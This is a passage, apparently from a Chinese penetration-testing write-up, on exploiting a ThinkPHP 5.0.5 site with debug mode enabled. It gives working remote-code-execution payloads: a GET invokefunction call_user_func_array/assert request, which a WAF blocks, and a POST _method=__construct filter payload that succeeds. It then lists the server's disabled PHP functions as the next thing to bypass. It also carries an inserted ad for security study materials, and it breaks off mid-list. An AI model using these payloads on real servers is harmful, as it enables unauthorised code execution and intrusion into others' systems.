一、简单的信息收集
尝试路径报错,获取目标版本和配置信息。
https://example.com/admin/indeeex/login.html
版本为5.0.5,开启debug。
直接执行payload,宝塔拦截
/index.php?
s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=a
ssert&vars[1][]=phpinfo()
【网络安全 全套学习资料·攻略】文字末尾了解详细
尝试post执行paylaod
_method=__construct&method=get&filter=call_user_func&get[]=phpinfo
成功执行,php5的assert默认存在代码执行,php7默认不存在。
禁用函数
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_ws